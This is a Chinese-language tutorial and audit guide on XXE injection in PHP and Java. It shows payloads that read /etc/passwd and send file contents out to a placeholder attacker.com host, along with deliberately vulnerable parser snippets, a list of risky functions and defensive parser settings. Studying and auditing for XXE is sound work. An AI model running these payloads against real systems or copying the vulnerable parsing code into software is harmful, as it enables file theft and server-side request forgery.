PHP与JAVA之XXE漏洞详解与审计
字数 1184 2025-08-25 22:58:40
XXE漏洞详解与审计指南
1. XXE漏洞简介
XXE(XML外部实体注入,XML External Entity)是一种安全漏洞,当应用程序解析XML输入时,如果允许引用外部实体,攻击者可以构造恶意内容导致:
- 读取任意文件
- 发起SSRF攻击(服务端请求伪造)
- 端口探测
- DoS拒绝服务攻击
- 执行系统命令
- 攻击内部网站
Java中的XXE支持sun.net.www.protocol包中的所有协议:http、https、file、ftp、mailto、jar、netdoc。
2. XML基础概念
2.1 XML与DTD
- XML(可扩展标记语言):用于传输和存储数据的标记语言
- DTD(文档类型定义):定义XML文档的合法构建模块,使用合法元素定义文档结构
2.2 实体(ENTITY)类型
- 字符实体:类似HTML实体编码,如
&a;(十进制)或&a;(十六进制) - 命名实体(内部实体):
<!ENTITY 实体名称 "实体的值"> - 外部实体:
- 外部普通实体:
<!ENTITY 实体名称 SYSTEM "URI/URL"> - 外部参数实体:
<!ENTITY % 实体名称 SYSTEM "URI">
- 外部普通实体:
2.3 DTD引用方式
- 内部声明:
<!DOCTYPE 根元素 [元素声明]> - 外部引用:
<!DOCTYPE 根元素名称 SYSTEM "外部DTD的URI"> - 引用公共DTD:
<!DOCTYPE 根元素名称 PUBLIC "DTD标识名" "公用DTD的URI">
3. XXE利用方式
3.1 有回显的XXE攻击
-
直接引用外部实体:
<!DOCTYPE foo [ <!ELEMENT foo ANY> <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]> <foo>&xxe;</foo> -
通过外部DTD文件:
<!DOCTYPE foo [ <!ELEMENT foo ANY> <!ENTITY % xxe SYSTEM "http://xxx/evil.dtd"> %xxe; ]> <foo>&evil;</foo>evil.dtd内容:
<!ENTITY evil SYSTEM "file:///c:/windows/win.ini">
3.2 无回显的XXE(Blind XXE/OOB-XXE)
使用外带数据通道提取数据:
<!DOCTYPE updateProfile[
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % dtd SYSTEM "http://attacker.com/evil.dtd">
%dtd;
%send;
]>
evil.dtd内容(注意%需要进行实体编码):
<!ENTITY % all "<!ENTITY % send SYSTEM 'http://attacker.com/?data=%file;'>">
%all;
3.3 绕过限制的技术
当读取非XML文件时,可以使用CDATA和参数实体组合:
<!DOCTYPE data [
<!ENTITY % paramEntity "<!ENTITY genEntity 'bar'>">
%paramEntity;
]>
<data>&genEntity;</data>
4. XXE审计函数
4.1 Java审计关键函数
javax.xml.parsers.DocumentBuilderFactory;
javax.xml.parsers.SAXParser
javax.xml.transform.TransformerFactory
javax.xml.validation.Validator
javax.xml.validation.SchemaFactory
javax.xml.transform.sax.SAXTransformerFactory
javax.xml.transform.sax.SAXSource
org.xml.sax.XMLReader
DocumentHelper.parseText
DocumentBuilder
org.xml.sax.helpers.XMLReaderFactory
org.dom4j.io.SAXReader
org.jdom.input.SAXBuilder
org.jdom2.input.SAXBuilder
javax.xml.bind.Unmarshaller
javax.xml.xpath.XpathExpression
javax.xml.stream.XMLStreamReader
org.apache.commons.digester3.Digester
org.xml.sax.SAXParseExceptionpublicId
4.2 PHP审计关键函数
SimpleXMLElement
simplexml_load_string
5. XXE漏洞代码示例
5.1 Java示例
-
DOM解析:
DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance(); DocumentBuilder db = dbf.newDocumentBuilder(); Document doc = db.parse(request.getInputStream()); -
DOM4J解析:
SAXReader saxReader = new SAXReader(); Document document = saxReader.read(request.getInputStream()); -
JDOM2解析:
SAXBuilder builder = new SAXBuilder(); Document document = builder.build(request.getInputStream()); -
SAX解析:
SAXParserFactory factory = SAXParserFactory.newInstance(); SAXParser saxparser = factory.newSAXParser(); saxparser.parse(request.getInputStream(), handler);
5.2 PHP示例
<?php
libxml_disable_entity_loader(false);
$xmlfile = file_get_contents('php://input');
$dom = new DOMDocument();
$dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);
?>
6. XXE防御措施
6.1 PHP防御
libxml_disable_entity_loader(true);
6.2 Java防御
DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
// 方法1
dbf.setExpandEntityReferences(false);
// 方法2
dbf.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
// 方法3
dbf.setFeature("http://xml.org/sax/features/external-general-entities", false);
dbf.setFeature("http://xml.org/sax/features/external-parameter-entities", false);
6.3 Python防御
from lxml import etree
xmlData = etree.parse(xmlSource, etree.XMLParser(resolve_entities=False))
7. 高级利用技巧
- 使用netdoc协议:当file、ftp、gopher协议被过滤时,可以使用netdoc协议列目录
- 使用Burp Suite测试:利用Burp插件进行XXE测试
- 工具利用:使用XXEinjector等工具自动化测试
8. 实际审计案例
-
DocumentHelper.parseText:
Document document = DocumentHelper.parseText(xml); -
AxisServlet配置:
<servlet-mapping> <servlet-name>AxisServlet</servlet-name> <url-pattern>/servlet/AxisServlet</url-pattern> </servlet-mapping>
9. 参考资源
- https://paper.tuisec.win/detail/77e971804021874
- https://www.cnblogs.com/blacksunny/p/8005053.html
- https://michaelwayneliu.github.io/2018/08/28/XXE攻击那些事/